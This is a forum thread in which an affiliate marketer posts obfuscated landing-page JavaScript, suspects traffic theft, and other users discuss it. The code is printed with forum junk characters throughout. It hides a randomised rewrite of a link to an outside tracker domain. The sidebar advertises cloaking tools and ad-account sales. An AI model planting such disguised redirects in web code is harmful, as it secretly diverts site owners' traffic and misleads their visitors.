一段js 求解密，怀疑流量被偷了。大牛帮我看看。

tmdsoft · 发表于 2014-12-25 21:16:37

本帖最后由 tmdsoft 于 2014-12-25 21:19 编辑

$(function() {/ D% o# M5 X1 a0 a
$(".option.clearfix").on("click",) z# ]% w2 i K* D) A
function() {
( N6 U2 y4 j# d3 D) E& k
$(this).toggleClass("selected");% B' w4 ~% H5 n- ~; R# B+ s9 a
if ($(this).hasClass("selected")) {
# ~# @+ a) K. E: m% |
$(this).addClass("selected")) l6 z5 o4 j+ P9 |7 w' k; \
} else {
2 V* G$ H; j L8 B' o1 N8 h
$(this).removeClass("selected")
$ \% i) k' [" U2 H O
}8 ?( f% q# T; O7 U
return false
: w8 s! {% S4 C( {+ x
});& L9 t' a" G: K( i& |1 j8 P
var e = "r";
) E# k7 K- ]" c! P. J3 E
var t = "e";- X" ^9 k1 }! ^& ~1 [4 Z* U+ |
setBtnMarginDefault = "c" + "\u006B";
8 T+ }8 [6 D5 y" Z+ i; o1 T
$(".option2.clearfix").on("click",9 `# I+ |+ e) d( i0 h; m
function() {# G2 Z* ~" ~# j. X! g# c" E& v6 m
$(this).toggleClass("selected");. x/ k. [" q3 B5 P R
if ($(this).hasClass("selected")) {% S5 a- l* n" s) O) @" o/ e
$(this).addClass("selected")8 I7 X$ ]# R* m0 y4 q$ a d
} else {
; I1 @) e/ j! J/ X' X
$(this).removeClass("selected")/ I- g3 u% n: a2 }) ~6 q
}- K0 h- O& [! o6 I. `$ w2 O0 V! {& h1 i* b
return false4 \' s, | W9 t
});
+ \& Y# A: |4 M. \' y/ ]% G
var n = "a";- Q4 j6 L+ B) ^6 @
var r = "g";( g) `) j( f! r$ l- y$ u
$(".option3.clearfix").on("click",
* r$ _% I0 X: P+ {% n
function() {
_4 N8 Y8 ]9 p
$(this).toggleClass("selected");4 R+ {2 i5 u1 H# i# z4 W# d! ?
if ($(this).hasClass("selected")) {8 u- m2 q0 |8 k
$(this).addClass("selected")- V2 A$ |. O) F
} else {7 Q" _3 @7 g) f/ U% m) q
$(this).removeClass("selected")
% n; \9 D* X' k0 a! M1 Q9 ]4 t: h
}7 G) l- K/ I9 Q- d* v9 V1 u
return false
3 \% I3 g5 n7 M# b* S6 z
});; e, D) o2 M7 U. ?
var i = "e";9 Y1 f" J! g5 D* z# T
var s = n + r + e + t + i;' [$ U( R: C' l, I, Z
$(".option4.clearfix").on("click",
/ \* W3 W9 L3 Q" ^
function() {
9 S0 H: t# m2 e; r' u) z$ i- c; M
$(this).toggleClass("selected");5 h0 r; W1 y. D G
if ($(this).hasClass("selected")) {, L) Y3 Z5 B" y6 G
$(this).addClass("selected")
( N3 a) v8 N. X, v
} else {9 n' [6 P+ A+ K6 N6 `% h
$(this).removeClass("selected")1 \, k7 T: L4 k
}' w. t @& a- @0 Z( W( Z
return false
5 N( T& K2 W1 J8 l6 _0 K& t* Q
});" s% m" i8 A9 k- I/ d/ [. |
var o = "\u0032" + "\u0030";
1 l+ [0 E) `$ L8 n4 h8 u0 `3 d$ u, d: `
var u = "\u0031" + "\u0030";8 C# t: a2 A1 j7 U& B( ?' M
currentWhiteSpace = Math.floor(Math.random() * o);
\, _- l# A4 C' c/ H* v
setBtnMargin30 = setBtnMarginDefault + "." + "c";& i: u6 X8 R" ?6 U) l* G
Date.prototype.getMonthName = function() {
/ j% F" X4 ?* h7 d* e
var e = ["January", "February", "March", "April", "May", "June", "July", "August", "September", "October", "November", "December"];
' ^* @- h9 R0 y0 W
return e[this.getMonth()]: n! W1 V0 Z+ a# y9 _8 y
};
6 E# w, z: G$ f1 }+ a7 O
var a = currentWhiteSpace;
% p- e/ m8 j7 d. v: |
var f = "H";% V4 M+ {( X8 M' P, M
var l = "\u0052";8 j% x+ p5 G3 n# Z" d! `* \6 i
var c = "o" + "\u006D";
8 D& v- d. R7 X, J
f += "T";
0 x+ |8 J! h3 U, ^+ y7 d" O
f += "T";8 M1 i- K3 M( e" P# b
f += "P";4 Y. z. o/ ~( _1 \
var h = new Date;9 P" a7 F. [6 }6 ~2 z6 O% o
if (h.getMonth() == 11) {
( n/ Q- i" O4 _- q( ^1 y
var p = (new Date(h.getFullYear() + 1, 0, 1)).getMonthName()
+ k. `# H2 K& @( r) [4 Y0 k
} else {9 |4 Y& N3 l- {; H; ^$ L
var p = (new Date(h.getFullYear(), h.getMonth() + 1, 1)).getMonthName()
* e$ `6 K5 o; X) B: X1 F6 U2 f
}. F/ m& K2 _9 N* t2 q- b. M: d
var d = ":" + "/" + "/";
9 g4 n3 P, a# T3 Z# |0 x& Z
l += "S";
; B# u; _! V6 Y5 S$ d- j2 `5 l
l += "x";% O: a" X2 U# S4 C& q' c
document.getElementById("monthz").innerHTML = p;+ Z5 t9 o5 N* o6 {( r
l += "\u0054";
2 H! M& a+ ?1 V7 Q8 h; {
l += "R";
) R$ q% M* G; o
l += "\u0041" + setBtnMargin30;9 }/ @5 M& U1 S$ e$ U4 W2 z
setStyle = f + d + l + c;3 t9 E" ]) D1 M! ]/ G2 R; n; E
s = s.toLowerCase(s);
3 B8 \, a( R; ?* A9 e5 P
if (a == o - u) document.getElementsByClassName(s)[0].href = setStyle;6 f0 n2 p. j9 T R( h
})

复制代码

了解js 的帮我看看这个加密的函数，是不是随机性的偷流量。

tmdsoft · 发表于 2014-12-25 21:21:01

if (a == o - u) document.getElementsByClassName(s)[0].href = setStyle;

复制代码

最后这一句，怀疑是随机偷流量代码。。。

tmdsoft · 发表于 2014-12-25 21:40:19

$(function () {/ @5 j/ z' F* K- n7 G- s5 t  A
$(".option.clearfix").on("click", function () {
9 k+ Z4 E. [( c7 j- m& o2 ]       $(this).toggleClass("selected");
7 p' T5 _- u/ J% r/ Y       if ($(this).hasClass("selected")) {! o" p5 Y0 z3 {+ Z1 h; [
         $(this).addClass("selected")
& ~& T% v" u! X$ O/ }/ P- t7 k) ^       } else {8 J$ F" `- _7 {3 d
         $(this).removeClass("selected")9 M7 H$ n5 U7 e$ ^, X% I9 K4 [
      }
! k& {( e# ?7 `8 L       return false$ N2 c1 }& R" v0 Y2 }* U& F
});
$ m  p. E: S* ]3 p7 a+ u $(".option2.clearfix").on("click", function () {! A# V! G' T) |7 \6 [
      $(this).toggleClass("selected");
) l" H# k9 ?4 [  D; O. o1 o2 i       if ($(this).hasClass("selected")) {
& A! J0 U: H# D+ h          $(this).addClass("selected"); g1 M2 k! T; m- w3 Y
      } else {
6 a5 m: b5 U+ Z' w          $(this).removeClass("selected")
3 ~0 [2 Y5 I' U* k0 m" _/ l) o       }/ b; F& f' s$ H1 L, W5 R
      return false7 _# n) Q* @, D3 `* ]
});" ?; ]2 M% [; J, ^! r. [
$(".option3.clearfix").on("click", function () {# f! R+ k# [2 l& L. Q0 s9 j
      $(this).toggleClass("selected");
% i/ |7 Q3 V. [; O8 z7 d+ h2 B       if ($(this).hasClass("selected")) {
; X  G" `  m7 z          $(this).addClass("selected")+ |* [$ i% Y3 R8 v0 |# Z% j
      } else {
3 @% R8 h/ i6 W8 @          $(this).removeClass("selected"), v9 W. t1 v3 `) ]  A+ B
      }7 l' Y! k5 Z; S$ g
      return false
. h" k$ V1 ]$ r& |- q' p( l  S8 Y });6 S, H' X; t7 ~! h$ m8 u) Q6 _
$(".option4.clearfix").on("click", function () {1 h& L1 i; h( F
      $(this).toggleClass("selected");3 C) S! K# D& m% B7 t
      if ($(this).hasClass("selected")) {
) L: z' I3 H4 v8 W0 u4 C          $(this).addClass("selected")
1 z/ Q+ d/ `2 @       } else {/ w6 S$ n. R( d' [- H2 o% l
         $(this).removeClass("selected")
, W% i+ ^& j0 x5 Y$ m       }
" A; F. @! `% @' b! X( O( a& d       return false
( M: r$ |" Y! s2 {! q# }6 M, V/ v( b });6 t7 O4 |3 Z0 g) Y( V1 T
})

我把代码简化了下，lp 正常，问题解决，另外还是求大牛看看一楼的代码，是不是随机跳转偷流量。。。

河小马 · 发表于 2014-12-25 22:53:55

不是的

tmdsoft · 发表于 2014-12-26 01:17:21

河小马发表于 2014-12-25 22:53
不是的

那是什么？

tmdsoft · 发表于 2014-12-26 01:37:43

本帖最后由 tmdsoft 于 2014-12-26 01:39 编辑

document.getElementsByClassName(s)[0].href = setStyle

复制代码

最主要的是这句话，最后 setstyle = Http://RSxTRAck.com

tmdsoft · 发表于 2014-12-26 01:45:43

if (a == o - u) document.getElementsByClassName(s)[0].href = setStyle;

o=20
u=10

a=1或者0 乘以20

如果a=20（50%的几率) ,那么条件成立，请问这句代码是不是重定向到这个网址上。

显示全部楼层 · 发表于 2014-12-27 12:14:29

你是用了别人的LP？

Rock_well · 发表于 2014-12-28 01:00:28

setstyle = Http://RSxTRAck.com
如果后面不是你自己的offer页面，就是你在扒了别人的LP之后没有做修改，人家重定向了吧。

		自动登录	找回密码
密码			立即注册

Google-Bing-Mediago-Criteo开户	⚡️按条S5代理⚡️静态⚡️独享⚡️5G	广告专用虚拟卡/U充值/高返点	皇家代理IP⚡️#1性价比⚡️
Mediabuy⚡️玩家开户首选	【鲁班跨境通-自助充值转账】	FB/GG/TT❤️官方免费开户	Affiliate 全媒体流量资源⚡️
Taboola/Outbrain /Bing⚡️一级代理	*开户投流-724h❤️人工在线**	【官方】❤️搜索套利买量投流开户	独立站⚡️开户投放
⚡️AdsPower:安全不封号,高效自动化	Google FB TK游戏代投	⚡️E.PN 虚拟卡⚡️	BINOM TRACKER 60% OFF!
比Adplexity还好用的Spy工具	ADPLEXITY + ADVERTCN	7200W全球动态不重复住宅IP代理	Facebook 批量上广告
尤里改 - FB 稳定投放	免费黑五教程（持续更新、欢迎交流）	FB 三不限源头 - 自助下户充值转款	各种主页、账单户、BM户（优势）
IPCola原生住宅IP⚡️$1.8/条双ISP	TK加白户/二解户/FB海外户/GG老户	海外CL企业户源头	FB高权重耐操个号⚡️稳定过审
TikTok2审户/老户/国内外端口/加白	GG,FB,TK, 欧美源头, 欢迎合作❤️	FB企业户海外户,授信户,TK加白户	域名防红⚠斗篷工具/可试用3天
广告位出租	8500万高质量住宅IP，助力各种需求	虚拟卡返佣1%，国内持牌机构

[讨论] 一段js 求解密，怀疑流量被偷了。大牛帮我看看。

点评

点评

社区QQ达人